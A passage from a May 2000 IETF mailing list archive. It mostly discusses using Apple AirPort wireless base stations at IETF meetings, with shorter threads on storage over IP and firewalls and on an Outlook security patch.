	by scv3.apple.com (8.9.3/8.9.3) with SMTP id PAA25692;
	Fri, 26 May 2000 15:57:13 -0700 (PDT)
Message-Id: <200005262257.PAA25692@scv3.apple.com>
Subject: Re: IETF Wireless
Date: Fri, 26 May 2000 15:57:26 -0700
x-sender: cheshire@mail.apple.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Stuart Cheshire <cheshire@apple.com>
To: <ietf@ietf.org>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Loop: ietf@ietf.org

I'm getting a flood of individual questions here, so I'll stem the flow 
by answering them publicly:

>That would be great. Will they sell them at a discount to the rest of us?

The current retail price of $300 is already a "discount" price. For that 
price you get 11Mb/s wireless, 10Mb/s Ethernet with DHCP client, a 56k 
modem with PPP, DHCP server on both wired and wireless interfaces, DNS 
relay, Ethernet-level bridging, IP-level routing, WEP encryption, nice 
configuration software (that runs on a Mac) and even (ugh!) a NAT 
gateway. I'll let you speculate about how much profit Apple makes on each 
unit.

For details, see <http://www.apple.com/airport/>.

One word of warning, before you rush out and buy one: Understand that 
Apple makes this product in order to sell more Macs (all Macs, desktop 
and laptop, come with dual antennas moulded into the plastics and a slot 
for the $99 add-on card). If, after you buy a base station, you call the 
Apple support line and start your question with, "I have this Intel 
laptop running Linux...", then they are unlikely to give you much 
sympathy. If this is a problem for you, you should avoid buying a 
wireless base station from Apple. Many other vendors, including Lucent, 
sell them too.

Bill Fenner has a page of unofficial information about the Apple wireless 
base station:
<http://www.aciri.org/fenner/airport/airport.html>

My reason for offering these to the IETF is to help the IETF, and within 
reason I will do as much as I can to help the IETF use them, including 
sitting there with my Mac laptop to configure them if necessary, but 
Apple does not extend that offer in general to every PC owner.

>the "gold" level of encryption may be important to lots of people, but as 
>far as I know, the AirPort basestations only support the weaker crypto.

AirPort base stations are fully 100% compatible with end-to-end IPSEC :-)

Besides, if you tell 3000 people at an IETF meeting the single shared 
network key, it hardly matters how many bits are in it -- it's simply not 
a secret any more.

AirPort uses the Lucent Silver card, which Lucent calls "64-bit RC4", 
even though 24 of the bits are a fixed "seed" value. Apple calls this 
"40-bit RC4", which is a little more honest.

>- It has no way to add extenal antennas to boost signal.

Not true. I know people who've drilled a little hole in the case and 
attached an external Lucent antenna to the card inside.

>Stuart, if I recall, the beacons (base stations) can't be
>configured without an Apple laptop running an appropriate
>version of the software and operating system.  Has that changed?
>If not, I have no idea whether we have such machines available
>or how we would find or scrounge one (and presumably a second as
>backup) to make the donation viable (the Lucent bridges that
>have been most often used of late can be configured from any of
>Win NT, Win95/98, or some U**x flavors).

There are unsupported tools to configure AirPorts from Windows, and I've 
even heard that there's a Java version too.

However, I'd recommend just setting them all to simple Ethernet-level 
bridging, and disabling all the other features, and then you don't ever 
need to reconfigure them again. I have several PC-owning friends who use 
AirPorts like this.

>Is there a way to turn off the NAT in the AirPort access points?  We've
>had trouble here with PCs using them because the NAT implementation
>doesn't handle NETBIOS.  Also, given the general dislike of many people
>in the IETF for NAT, it may not be something that the IETF wants to use
>itself.

Ha! Made me laugh.

Do you seriously think I'd let Apple ship a product that forced you to 
use NAT? Be serious!

Stuart Cheshire <cheshire@apple.com>
 * Wizard Without Portfolio, Apple Computer



From owner-ietf-outbound  Fri May 26 19:20:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA27653
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 19:20:02 -0400 (EDT)
Received: from gallium.network-alchemy.com (Gallium.Network-Alchemy.COM [199.46.17.139])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27579;
	Fri, 26 May 2000 19:12:03 -0400 (EDT)
Received: from gallium.network-alchemy.com (localhost.network-alchemy.com [127.0.0.1])
	by gallium.network-alchemy.com (8.8.8/8.8.8) with ESMTP id QAA13416;
	Fri, 26 May 2000 16:11:29 -0700 (PDT)
	(envelope-from ddp@network-alchemy.com)
Message-Id: <200005262311.QAA13416@gallium.network-alchemy.com>
To: Keith Moore <moore@cs.utk.edu>
cc: "Roger Fajman" <RAF@CU.NIH.GOV>, cheshire@apple.com, ietf@ietf.org,
        scoya@ietf.org
Subject: Re: IETF Wireless 
In-reply-to: Your message of "Fri, 26 May 2000 18:50:12 EDT."
             <200005262250.SAA04974@astro.cs.utk.edu> 
Date: Fri, 26 May 2000 16:11:29 -0700
From: "Derrell D. Piper" <ddp@Network-Alchemy.COM>
X-Loop: ietf@ietf.org

> Is there a way to turn off the NAT in the AirPort access points? 

Yes, there is.

Derrell



From owner-ietf-outbound  Fri May 26 20:20:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA28332
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 20:20:02 -0400 (EDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA28277
	for <ietf@ietf.org>; Fri, 26 May 2000 20:11:46 -0400 (EDT)
Received: from wooly-booly.cisco.com (wooly-booly.cisco.com [171.69.167.33])
	by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA04971;
	Fri, 26 May 2000 17:11:21 -0700 (PDT)
Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by wooly-booly.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id TAA03396; Fri, 26 May 2000 19:11:11 -0500 (CDT)
Message-Id: <4.3.2.7.2.20000526164625.00cce5c0@flipper.cisco.com>
X-Sender: fred@flipper.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 26 May 2000 16:46:41 -0700
To: "Morrisey Matthew J." <Matthew.Morrisey@bwc.state.oh.us>
From: Fred Baker <fred@cisco.com>
Subject: Re: 48th IETF meeting in Pittsburgh, PA
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
In-Reply-To: <6FDE0867413DD21182BF00A0C972519204C98A15@MSWG4>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 10:15 AM 5/25/00 -0400, Morrisey Matthew J. wrote:
>Where can i find more info?

have you checked www.ietf.org?



From owner-ietf-outbound  Fri May 26 20:50:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA28674
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 20:50:03 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA28649;
	Fri, 26 May 2000 20:49:27 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 12vUn4-000IYK-00; Fri, 26 May 2000 17:49:22 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Keith Moore <moore@cs.utk.edu>
Cc: "Roger Fajman" <RAF@CU.NIH.GOV>, cheshire@apple.com, ietf@ietf.org,
        scoya@ietf.org
Subject: Re: IETF Wireless 
References: <200005262058.QAA25650@ietf.org>
	<200005262250.SAA04974@astro.cs.utk.edu>
Message-Id: <E12vUn4-000IYK-00@rip.psg.com>
Date: Fri, 26 May 2000 17:49:22 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

>> Is there a way to turn off the NAT in the AirPort access points? 
> if not, seems like that would be a showstopper.

actually it might be a feature to torture the anti-nat bigots



From owner-ietf-outbound  Sat May 27 08:32:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA17108
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 08:30:02 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA17079
	for <ietf@ietf.org>; Sat, 27 May 2000 08:27:07 -0400 (EDT)
Received: from wasp.inet.org ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id MAA07333
	for <ietf@ietf.org>; Sat, 27 May 2000 12:18:03 GMT
Message-Id: <4.2.0.58.20000527082354.009654c0@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Sat, 27 May 2000 08:26:50 +0100
To: ietf@ietf.org
From: RJ Atkinson <rja@inet.org>
Subject: AirPort or WaveLAN Access Point MIBs ?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org


	If someone could send me a unicast reply email with a pointer
to the SMI for the private MIBs implemented by the Apple Airport and/or
the Lucent WaveLAN Access Point, that would be much appreciated.

	If the reply mail is unicast to me, I'll package up a summary
and send the summary back to the IETF list within a week.  I propose
this approach to conserve list bandwidth and other folks' time. YMMV.

Thanks,

Ran
rja@inet.org



From owner-ietf-outbound  Sat May 27 09:31:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA17618
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 09:30:02 -0400 (EDT)
Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17593;
	Sat, 27 May 2000 09:29:08 -0400 (EDT)
Received: by sean.ebone.net (Postfix, from userid 1113)
	id 8C792882; Sat, 27 May 2000 15:29:07 +0200 (CEST)
To: moore@cs.utk.edu, randy@psg.com
Subject: Re: IETF Wireless
Cc: cheshire@apple.com, ietf@ietf.org, RAF@CU.NIH.GOV, scoya@ietf.org
Message-Id: <20000527132907.8C792882@sean.ebone.net>
Date: Sat, 27 May 2000 15:29:07 +0200 (CEST)
From: smd@ebone.net (Sean Doran)
X-Loop: ietf@ietf.org

Randy Bush writes:

| actually it might be a feature to torture the anti-nat bigots

Maybe they wouldn't notice.

	Sean.



From owner-ietf-outbound  Sat May 27 09:41:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA17843
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 09:40:02 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17780
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:15 -0400 (EDT)
Received: from [192.168.168.2] (h0040100c9388.ne.mediaone.net [24.218.168.80])
	by chmls06.mediaone.net (8.8.7/8.8.7) with ESMTP id JAA03313
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:12 -0400 (EDT)
Mime-Version: 1.0
X-Sender: amalis@pop.ne.mediaone.net
Message-Id: <v04220800b5557ebba1ac@[192.168.168.2]>
In-Reply-To: <v04220802b554b39deb1c@[192.168.168.2]>
References: <200005262058.QAA25650@ietf.org>
 <v04220802b554b39deb1c@[192.168.168.2]>
Date: Sat, 27 May 2000 09:37:00 -0400
To: ietf@ietf.org
From: Jon Malis <amalis@mediaone.net>
Subject: Re:  IETF Wireless
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

I Think That I Wrote In An eMail At 7:08 PM -0400 of 5/26/00:

>I Think That Roger Fajman Wrote In An eMail At 4:58 PM -0400 of 5/26/00:
>>
>>We've had trouble here with PCs using them because the NAT implementation
>>doesn't handle NETBIOS.  Also, given the general dislike of many people
>>in the IETF for NAT, it may not be something that the IETF wants to use
>>itself.
>
>Except for getting a Mac with an AirPort card to setup up the thing 
>properly, you're more or less out of luck.  I know that there's a 
>Java-based admin tool, but I don't think it goes that deep into the 
>config settings, nor do I remember the URL off the top of my head

I lied - you can change most all settings with the Java Applet and I 
found the Web address for it: 
http://edge.mcs.drexel.edu/GICL/people/sevy/airport/

For more info about extending the antenna, try: 
http://www.applefritter.com/hacks/extendaport/index.html


--jon


Jon Malis
Independent Network Consultant
Malis Consulting
jmalis@mail.com, jon@gomug.org, AIM: JonMalis
--------------------------------------------------------------------
"640KB is enough for anybody"            -Bill Gates

PGP Fingerprint: B32E 4B26 A2BC CF38 B56B  C518 1179 DE90 1477 00E9
PGP Key ID: 0x147700E9



From owner-ietf-outbound  Sat May 27 09:51:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA17973
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 09:50:03 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17787
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:17 -0400 (EDT)
Received: from [192.168.168.2] (h0040100c9388.ne.mediaone.net [24.218.168.80])
	by chmls06.mediaone.net (8.8.7/8.8.7) with ESMTP id JAA03397
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:17 -0400 (EDT)
Mime-Version: 1.0
X-Sender: amalis@pop.ne.mediaone.net
Message-Id: <v04220800b554b27da79d@[192.168.168.2]>
In-Reply-To: <200005262044.NAA12792@gallium.network-alchemy.com>
References: <200005262044.NAA12792@gallium.network-alchemy.com>
Date: Sat, 27 May 2000 09:35:38 -0400
To: ietf@ietf.org
From: Jon Malis <amalis@mediaone.net>
Subject: Re: IETF Wireless
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

I Think That Derrell D. Piper Wrote In An eMail At 1:44 PM -0700 of 5/26/00:

>  > - You need a Macintosh to configure it
>
>There is a Windows-based configuration utility that I've seen used to
>configure the Airport sucessfully.  See the "Karlbridge configurator for
>Windows" link on the page listed above.

To my knowledge, there is a Java-based AirPort admin tool (at least 
for PPP connections and changing IP info) which works on any computer 
which supports Java.

--jon


Jon Malis
Independent Network Consultant
Malis Consulting
jmalis@mail.com, jon@gomug.org, AIM: JonMalis
--------------------------------------------------------------------
"640KB is enough for anybody"            -Bill Gates

PGP Fingerprint: B32E 4B26 A2BC CF38 B56B  C518 1179 DE90 1477 00E9
PGP Key ID: 0x147700E9



From owner-ietf-outbound  Sat May 27 10:01:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA18106
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 10:00:03 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17794
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:24 -0400 (EDT)
Received: from [192.168.168.2] (h0040100c9388.ne.mediaone.net [24.218.168.80])
	by chmls06.mediaone.net (8.8.7/8.8.7) with ESMTP id JAA03461
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:22 -0400 (EDT)
Mime-Version: 1.0
X-Sender: amalis@pop.ne.mediaone.net
Message-Id: <v04220802b554b39deb1c@[192.168.168.2]>
In-Reply-To: <200005262058.QAA25650@ietf.org>
References: <200005262058.QAA25650@ietf.org>
Date: Sat, 27 May 2000 09:36:21 -0400
To: ietf@ietf.org
From: Jon Malis <amalis@mediaone.net>
Subject: Re:  IETF Wireless
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

I Think That Roger Fajman Wrote In An eMail At 4:58 PM -0400 of 5/26/00:

>  > These are absolutely standard 11Mb/s IEEE 802.11DS base stations, not
>  > some proprietary Apple thing. PC users can get 802.11DS cards from
>  > companies like Lucent: <http://www.wavelan.com/>
>
>Is there a way to turn off the NAT in the AirPort access points?

Yep, I have set up a lot of them as plain wireless bridges with no IP 
address assigning, as well as using its built-in DHCP server

>We've had trouble here with PCs using them because the NAT implementation
>doesn't handle NETBIOS.  Also, given the general dislike of many people
>in the IETF for NAT, it may not be something that the IETF wants to use
>itself.

Except for getting a Mac with an AirPort card to setup up the thing 
properly, you're more or less out of luck.  I know that there's a 
Java-based admin tool, but I don't think it goes that deep into the 
config settings, nor do I remember the URL off the top of my head


--jon


Jon Malis
Independent Network Consultant
Malis Consulting
jmalis@mail.com, jon@gomug.org, AIM: JonMalis
--------------------------------------------------------------------
"640KB is enough for anybody"            -Bill Gates

PGP Fingerprint: B32E 4B26 A2BC CF38 B56B  C518 1179 DE90 1477 00E9
PGP Key ID: 0x147700E9



From owner-ietf-outbound  Sat May 27 10:11:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA18285
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 10:10:02 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17801
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:25 -0400 (EDT)
Received: from [192.168.168.2] (h0040100c9388.ne.mediaone.net [24.218.168.80])
	by chmls06.mediaone.net (8.8.7/8.8.7) with ESMTP id JAA03507
	for <ietf@ietf.org>; Sat, 27 May 2000 09:37:26 -0400 (EDT)
Mime-Version: 1.0
X-Sender: amalis@pop.ne.mediaone.net
Message-Id: <v04220801b554b2dcbdd0@[192.168.168.2]>
In-Reply-To: <Pine.HPX.4.02.10005261307360.5884-100000@diablo.cisco.com>
References: <Pine.HPX.4.02.10005261307360.5884-100000@diablo.cisco.com>
Date: Sat, 27 May 2000 09:36:51 -0400
To: ietf@ietf.org
From: Jon Malis <amalis@mediaone.net>
Subject: Re: IETF Wireless
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

I Think That Ole J. Jacobsen Wrote In An eMail At 1:13 PM -0700 of 5/26/00:

>- It has no way to add extenal antennas to boost signal.

You can, it just requires making a small "incision" in its side and a 
voided warranty.  (See: http://www.macintouch.com/airportantenna.html 
For More Info)

>Now, I have heard mentioned that the AirPort has a limit to the number
>of users it will support, but I don't know if this is true or how it
>compares to the usual kit we use at IETF meetings.

I'm not definitely sure, but I have used at least 10 'books connected 
and active simultaneously on my home LAN

--jon


Jon Malis
Independent Network Consultant
Malis Consulting
jmalis@mail.com, jon@gomug.org, AIM: JonMalis
--------------------------------------------------------------------
"640KB is enough for anybody"            -Bill Gates

PGP Fingerprint: B32E 4B26 A2BC CF38 B56B  C518 1179 DE90 1477 00E9
PGP Key ID: 0x147700E9



From owner-ietf-outbound  Sat May 27 10:31:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA18514
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 10:30:02 -0400 (EDT)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18338
	for <ietf@ietf.org>; Sat, 27 May 2000 10:12:10 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 775FD4CE08; Sat, 27 May 2000 10:12:11 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id KAA20435;
	Sat, 27 May 2000 10:12:09 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 504B435DC2; Sat, 27 May 2000 10:12:09 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Brian.Rubarts@born.com
Cc: moore@cs.utk.edu, ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sat, 27 May 2000 10:11:39 -0400
Sender: smb@research.att.com
Message-Id: <20000527141209.504B435DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <A427D1278F7CD311B1670008C7FAA62AC89F1F@CORPNT3>, Brian.Rubarts@born
.com writes:
>
>>> Encryption will be offloaded to the network interface.  ASICs on the NICs
>>> will greatly improve encryption and authentication performance.
>
>>all well and good, provided that this encryption and authentication
>>are actually compatible with that specified by higher level protocols
>>and the authentication actually meets the needs of users.  
>>(if your network interface needs to use and verify users' credentials,
>>as opposed to the host's credentials, it might be a stretch.)
>
>A network server will still authenticate user requests.  Only the host
>needs to be authenticated with the disk/disks.
>
Up to a point.  Yes, there are NICs available today with IPsec on-card. 
But given the prevalence of -- how shall I put this? -- single-user 
computers with user physical access, no OS protection and crufty software,
you really need user-granularity protection of the file access 
requests.  NFS-style protection with host authentication works if and only
if the server trusts the remote system to authenticate its users.  
That's demonstrably not true today.  

Yes, IPsec does, in theory, support user-granularity protection.  
That's very hard to do when you're using outboard IPsec implementations,
since you then need some way to pass the user's credentials (generally 
a certificate, not a user-id) back to the host, and tie every received 
packet to that identity.  It can be done, but (speaking as one of the 
primary participants in the IPsec development effort) I'm not impressed 
with its applicability in this case. 
>
>>> It will run over incredibly fast Packet over SONET Wide Area
>>> Networks--behind firewalls.
>
>>...it's 
>>inappropriate to assume that it will always be used behind firewalls...
>
>If the larger network that is employing this technology doesn't hire a
>decent
>consultant, you might be right.  If they do, it will ALWAYS be behind a
>firewall :-)
>
Speaking as someone whose firewall credentials are more or less beyond 
reproach, you're wrong -- period.  *Many* such uses will be behind 
firewalls.  Others won't.  The large corporate firewall is a dinosaur, 
because of extranets, telecommuters, unofficial links through or around 
the firewall, etc.  Comprehensive firewalls generally can't protect a 
network larger than one run by a single systems administrator (or, in 
some cases, a systems administration group); otherwise, they don't know 
where the links are.

And even when one sysadmin runs the net, what does he or she do when 
word comes down from the pointy-haired layer of the stack that there 
*will* be a VPN link to a joint venture partner?

Like it says on the (U.S.) toothpaste tubes -- firewalls can be an 
effective security measure when used as part of a program 
including good network hygiene and decent authentication.  But they're 
not magic security pixie dust, and they're not a substitute for 
authentication in the protocol.

		--Steve Bellovin




From owner-ietf-outbound  Sat May 27 11:31:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA18976
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 11:30:02 -0400 (EDT)
Received: from kestrel.prod.itd.earthlink.net (kestrel.prod.itd.earthlink.net [207.217.121.155])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18953
	for <ietf@ietf.org>; Sat, 27 May 2000 11:26:43 -0400 (EDT)
Received: from [10.0.1.2] (1Cust103.tnt7.bos2.da.uu.net [63.27.144.103])
	by kestrel.prod.itd.earthlink.net (8.9.3/8.9.3) with ESMTP id IAA07889;
	Sat, 27 May 2000 08:26:42 -0700 (PDT)
Mime-Version: 1.0
X-Sender: rah@ibuc.com
Message-Id: <p0431010cb55594459549@[10.0.1.2]>
In-Reply-To: <v04220801b554b2dcbdd0@[192.168.168.2]>
References: <Pine.HPX.4.02.10005261307360.5884-100000@diablo.cisco.com>
 <v04220801b554b2dcbdd0@[192.168.168.2]>
Date: Sat, 27 May 2000 11:19:40 -0400
To: Jon Malis <amalis@mediaone.net>, ietf@ietf.org
From: "R. A. Hettinga" <rah@shipwright.com>
Subject: Re: IETF Wireless
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 9:36 AM -0400 on 5/27/00, Jon Malis wrote:


>>- It has no way to add extenal antennas to boost signal.
>
> You can, it just requires making a small "incision" in its side and a
> voided warranty.  (See: http://www.macintouch.com/airportantenna.html
> For More Info)

This echoes our experiences at the Financial Cryptography conference this
February <http://fc00.ai/> on Anguilla, which, at the moment, is crawling
with WaveLANs...

So, here we were, on a 50-foot catamaran off Prickly Pear Key, 15 people on
the boat drinking cocktails, snorkelling, various half-dressed attractive
people taking in the sun, etc., meanwhile, halfway up the flag lanyard
there's an antenna, and at the end of that antenna is my Mac Powerbook with
a WaveLan, using IP NetRouter wired to an Apple Airport Basestation with a
hub on it, and 5 or 6 geeks down below plugged into the hub, going, "Kewl.
We can get Slashdot out here". Coulda left the Base Station out of it,
frankly, as nobody else had a WaveLan card but me...

Cheers,
RAH
Who was afraid to take power tools to the plastic inside one of his base
stations, but has now changed his mind...
-- 
-----------------
R. A. Hettinga <mailto: rah@ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'



From owner-ietf-outbound  Sat May 27 18:20:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21474
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 18:20:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21440
	for <ietf@ietf.org>; Sat, 27 May 2000 18:19:06 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id PAA14123;
	Sat, 27 May 2000 15:18:54 -0700 (PDT)
Date: Sat, 27 May 2000 15:18:54 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005272218.PAA14123@shell9.ba.best.com>
To: ietf@ietf.org
Subject: still no Outlook patch
X-Loop: ietf@ietf.org

What happens when common-sense security measures come up against 
large software company development efforts?  Have a look:

  http://support.microsoft.com/support/kb/articles/Q262/7/00.asp

Under "Features and Products That Are Affected by the Update":

] There is no work around for the following features after you
] apply the security update: 
]... 
]      - Using the SendMail feature in Microsoft Excel.
] 
] The following features function but they generate warning
] messages because they are based on the Outlook object model: 
]... 
]      - Using SendMail on a SQL Server to send automatic mailings.

I predict the patch will take a month.

Cheers,
James



From owner-ietf-outbound  Sat May 27 20:10:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA22143
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 20:10:02 -0400 (EDT)
Received: from wfdutilgw.ml.com (wfdutilf01.ml.com [206.3.74.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA22119
	for <ietf@ietf.org>; Sat, 27 May 2000 20:08:58 -0400 (EDT)
Received: from ewfdwt02.exchange.ml.com (ewfdwt02.exchange.ml.com [199.201.57.155])
	by wfdutilgw.ml.com (8.9.3/8.9.3/MLgwo-4.03) with SMTP id UAA00023
	for <ietf@ietf.org>; Sat, 27 May 2000 20:08:58 -0400 (EDT)
Received: from 172.20.64.2 by ewfdwt02.exchange.ml.com with ESMTP (
 WorldSecure Server SMTP Relay(WSS) v4.5); Sat, 27 May 2000 20:08:58
 -0400
X-Server-Uuid: 3789b954-9c4e-11d3-af68-0008c73b0911
Received: by epcc02.na2.us.ml.com with Internet Mail Service (
 5.5.2650.21) id <K04ARK33>; Sat, 27 May 2000 20:08:57 -0400
Message-ID: <C7A236ACE67FD311A0650001FA7E1AE41616E6@epcc23.na2.us.ml.com>
From: "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>
To: ietf@ietf.org
Subject: RE: still no Outlook patch
Date: Sat, 27 May 2000 20:08:55 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
X-WSS-ID: 152EBC10978998-01-01
Content-Type: text/plain; 
 charset=iso-8859-1
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

What is exactly your question/point?

1.- Is it that when is the security patch will exist?
    It already exists.
2.- Is it that those features were disabled?
    That is the main "feature of this patch. To disable
    any an all programs from using the outlook object model
    to send mail without user intervention.
    For both of this features, I already created my own version
    of this functions without using the Outlook OM.
3.- Other ?

-----Original Message-----
From: James P. Salsman [mailto:bovik@best.com]
Sent: Saturday, May 27, 2000 6:19 PM
To: ietf@ietf.org
Subject: still no Outlook patch


What happens when common-sense security measures come up against 
large software company development efforts?  Have a look:

  http://support.microsoft.com/support/kb/articles/Q262/7/00.asp

Under "Features and Products That Are Affected by the Update":

] There is no work around for the following features after you
] apply the security update: 
]... 
]      - Using the SendMail feature in Microsoft Excel.
] 
] The following features function but they generate warning
] messages because they are based on the Outlook object model: 
]... 
]      - Using SendMail on a SQL Server to send automatic mailings.

I predict the patch will take a month.

Cheers,
James




From owner-ietf-outbound  Sat May 27 23:30:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA25183
	for ietf-outbound.10@ietf.org; Sat, 27 May 2000 23:30:03 -0400 (EDT)
Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA25142;
	Sat, 27 May 2000 23:28:27 -0400 (EDT)
Received: by tsx-prime.MIT.EDU 
	with sendmail-SMI-8.6/1.2, id XAA18173; Sat, 27 May 2000 23:28:24 -0400
Date: Sat, 27 May 2000 23:28:24 -0400
Message-Id: <200005280328.XAA18173@tsx-prime.MIT.EDU>
From: "Theodore Y. Ts'o" <tytso@MIT.EDU>
To: smd@ebone.net
CC: moore@cs.utk.edu, randy@psg.com, cheshire@apple.com, ietf@ietf.org,
        RAF@CU.NIH.GOV, scoya@ietf.org
In-reply-to: Sean Doran's message of Sat, 27 May 2000 15:29:07 +0200 (CEST),
	<20000527132907.8C792882@sean.ebone.net>
Subject: Re: IETF Wireless
Phone: (781) 391-3464
X-Loop: ietf@ietf.org

   Cc: cheshire@apple.com, ietf@ietf.org, RAF@CU.NIH.GOV, scoya@ietf.org
   Date: Sat, 27 May 2000 15:29:07 +0200 (CEST)

   Randy Bush writes:

   | actually it might be a feature to torture the anti-nat bigots

   Maybe they wouldn't notice.

Anyone using Kerberos will notice, I guarantee you that!

						- Ted



From owner-ietf-outbound  Sun May 28 16:12:06 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA10042
	for ietf-outbound.10@ietf.org; Sun, 28 May 2000 16:10:04 -0400 (EDT)
Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.125])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10018
	for <ietf@ietf.org>; Sun, 28 May 2000 16:05:05 -0400 (EDT)
